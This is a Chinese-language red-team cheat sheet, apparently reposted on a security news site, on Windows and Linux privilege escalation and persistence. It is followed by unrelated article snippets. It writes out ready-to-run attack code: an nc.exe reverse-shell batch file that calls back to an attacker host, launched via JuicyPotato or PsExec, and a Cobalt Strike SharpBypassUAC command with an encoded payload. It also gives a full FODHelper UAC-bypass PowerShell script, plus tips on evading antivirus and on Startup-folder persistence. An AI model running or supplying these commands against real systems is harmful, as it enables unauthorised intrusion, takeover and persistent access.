红队笔记 - 提权&权限维持

VSole2021-10-01 07:15:46
文章来源: Khan安全攻防实验室

提权

Windows

通常会检查我的权限 ( whoami /all) 和文件系统(tree /f /a来自C:\Users目录)以获取快速获胜或有趣的文件(尤其是用户主文件夹和/或 Web 目录)。如果没有找到任何东西,就会运行一个类似winPEAS.exe来识别任何漏洞。在枚举结果中查找的内容:

默认凭据,尝试将它们转给其他用户。

开放端口,有没有只监听 127.0.0.1 的服务?寻找漏洞。

运行软件中寻找漏洞。

未加引号的服务路径,你能写一个恶意的二进制文件并重新启动受影响的服务吗?

可修改的服务二进制文件,他们SYSTEM是以管理员用户身份运行还是以管理员用户身份运行?

如果没有明显的结果WinPEAS,通常Invoke-AllChecks从PowerUp运行,它会执行类似的检查,但有时也会捕获其他漏洞。

如果所有其他方法都失败了,我会开始寻找操作系统级别的漏洞利用,尤其是在较旧的系统上。Windows-Exploit-Suggester对此有所帮助:您可以从 Kali 运行它,并且只需要SystemInfo. 有时在谷歌上搜索确切操作系统版本的权限提升漏洞也有帮助。

烂土豆

如果您拥有SeImpersonatePrivilege并且操作系统版本早于Server 2019 或 Windows 10,则相关。通过使用中性二进制文件(例如nc.exe或nc64.exe来自此处),我取得了最大的成功。如果您bat使用命令调用创建文件,它应该会避开大多数 AV 并为您提供特权 shell。

# On target system, after copying required binaries
echo C:\tempc64.exe -e cmd.exe $LHOST 443 > rev.bat
.\JuicyPotato.exe -l 1337 -p C:\temp\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

UAC绕过

如果您是本地管理员,则相关,但whoami /all返回您正在“中等完整性进程”中运行。漏洞利用方法因操作系统版本而异。谷歌搜索特定版本的自动 UAC 绕过漏洞,或使用Windows-Exploit-Suggester或 metasploit 来识别可能的 UAC 绕过漏洞可能会成功。

本地管理员到系统

可以通过PsExec.exe来实现这一点,可以使用 Msfvenom 可执行文件代替rev.bat。

.\PsExec.exe -i -s "c:\temp\rev.bat"

如果你在 Windows 系统上有一个 shell 并且有另一个用户的密码,PsExec 也可以用来作为目标用户执行程序。

.\PsExec.exe -user $USERNAME -p $PASSWORD "c:\temp\rev.bat"

使用SharpBypassUAC

# Generate EncodedCommandecho -n 'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update' | base64
# Use SharpBypassUAC e.g. from a CobaltStrike beaconbeacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==

在某些情况下,运行手动 UAC 绕过可能会更好,例如在 PowerShell 中执行非常简单的 FODHelper 绕过。

# The command to execute in high integrity context
$cmd = "cmd /c start powershell.exe"
# Set the registry values
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force
# Trigger fodhelper to perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
# Clean registry
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Linux

对于 Linux PrivEsc,通常运行sudo -l. 如果这导致我们可以运行某些命令(无需密码或已知密码)之后,开始查看文件系统(再次 - 主目录和有趣的目录,如/var/www/html)以查找多汁文件或包含凭据或线索的文件。通常,这可能会导致例如我们可以用来在本地转储数据库的 MySQL 凭据。最后,我查看了我们所在的非默认组id。

在那之后,通常是通过自动化PrivEsc枚举linPEAS或在某些情况下LINENUM。但是,强烈建议大家熟悉这些脚本执行的命令及其含义。这是帮助获取态势感知和手动识别漏洞的命令的极好参考。另外,我喜欢这里提出的高级问题- 我是谁?我可以读、写或执行什么?为了在 Linux 中有效提权,您必须回答的一些问题与 Windows 类似,有些则完全不同。一般来说,以下是一些经常相关的问题。

是否有任何正在运行的服务或程序看起来是非默认的?他们脆弱吗?

特别注意以 root 用户 ( ps auxww | grep root)运行的服务- 在许多情况下,这些可能是您的 root 路径。例如,MySQL 是否以 root 身份运行?运行raptor_udf2。

哪些服务只在本地监听?

文件或文件夹的权限是否配置错误?

是否有任何定时任务或计划任务?谁来执行?

注意:如果您无法读取 cron 文件,请尝试pSpy - 它可能有助于识别重复的执行命令。

我们可以sudo在默认二进制文件上运行吗?检查它们的GTFOBins。

是否有任何二进制文件由 root 拥有并设置了 SUID 或 GUID?检查它们的 GTFOBins。

是否有任何文件具有不受限制的 POSIX 功能(仅+ep),或我们可以用于 privesc 的其他有趣功能(例如cap_setuid或cap_dac_override)?

如果您发现任何以 root 身份循环运行的二进制文件,或者我们可以使用sudo提升的上下文或在提升的上下文中触发的二进制文件:我们可以写入该文件吗?我们可以劫持路径吗?

同样,内核漏洞利用应该是 PWK 权限提升的最后手段。识别内核版本uname并将其扔到 searchsploit 中应该在这方面有所帮助。

权限维持

启动文件夹

只要放下一个二进制文件在当前用户文件夹中,将在当前用户登录时触发。

c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

或者在全局启动文件夹中,需要管理权限,但在启动时将作为SYSTEM触发,并且只要有用户登录就会在用户环境中触发。

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
二进制linux文件权限
本作品采用《CC 协议》,转载必须注明作者和本文链接
大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着用户获得他们无权获得的特权。这些特权可用于删除文件,查看私人信息或安装不需要的程序,例如病毒。
一文吃透 Linux 提权
2021-10-23 07:09:32
特权升级意味着用户获得他们无权获得的特权。通常,当系统存在允许绕过安全性的错误或对使用方法的设计假设存在缺陷时,通常会发生这种情况。结果是,具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执行未经授权的操作。
Linux是目前应用最广泛的服务器操作系统,基于Unix,开源免费,由于系统的稳定性和安全性,市场占有率很高,几乎成为程序代码运行的最佳系统环境。linux不仅可以长时间的运行我们编写的程序代码,还可以安装在各种计算机硬件设备中,如手机、路由器等,Android程序最底层就是运行在linux系统上的。
本文章盘点了 Linux 运维必备 150 个命令,请配合下面的网站使用。定位你需要使用的命令,然后去这个网站查询详细用法即可。 地址:wangchujiang.com/linux-command/
由于默认的安全设置,在macOS上需要有效的签名和公证。其最终目标是扩大 Apple 生态系统对更多开发者的访问。macOS rcodesign 可执行文件是自签名的,它由 GitHub Actions Linux 运行程序使用 YubiKey 独有的代码签名证书进行签名。有报道称iOS应用包签名正确。rcodesign 现在支持调用 Transporter 并将工件上传到 Apple 进行公证。由于支持对所有应用程序类型进行签名和公证,现在可以在没有 macOS 参与发布过程的情况下发布 Apple 软件。通过插入 YubiKey 并运行 rcodesign smartcard-scan 进行尝试。
西门子发布了五项新公告,共描述了37个已修补漏洞。西门子表示,这些弱点可能允许攻击者引发DoS条件、获取敏感数据或破坏系统完整性。施耐德电气仅发布了一项新的公告,但该公司已更新了十多项现有公告。Rust基金会执行董事 Rebecca Rumbul在9月13日 的一份声明中表示了这一点。
在这个层中,来自upper层的更改会覆盖lower层的相应文件。对于同名文件upper层中的文件优先级更高。一个Overlay文件系统可以有一个或多个lower层。此层拥有写时复制特性,当想要修改lower层不可修改的fileC时,先拷贝副本到upper层,修改后呈现到merged视图。OverlayFS 操作流程挂载OverlayFS文件系统mkdir lower upper work merged. sudo mount -t overlay -o lowerdir=lower,upperdir=upper,workdir=work overlay merged # 挂载OverlayFS
当企业发生网络安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,同时还需进一步查找入侵来源,还原入侵事故过程,给出解决方案与防范措施,为企业挽回或减少经济损失。 常见的网络安全事件:
为了确保在设备上的持久性,攻击者使用自己的ssh-RSA密钥来执行系统修改并将文件权限更改为锁定状态。错误配置是一个常见的切入点,趋势科技监测到的大多数攻击都是因为云端运行的服务存在API或SSH凭据较弱的问题,或者具有非常宽松的配置,攻击者可以滥用这些配置,从而在无需利用任何漏洞的情况下渗透到系统中。
VSole
网络安全专家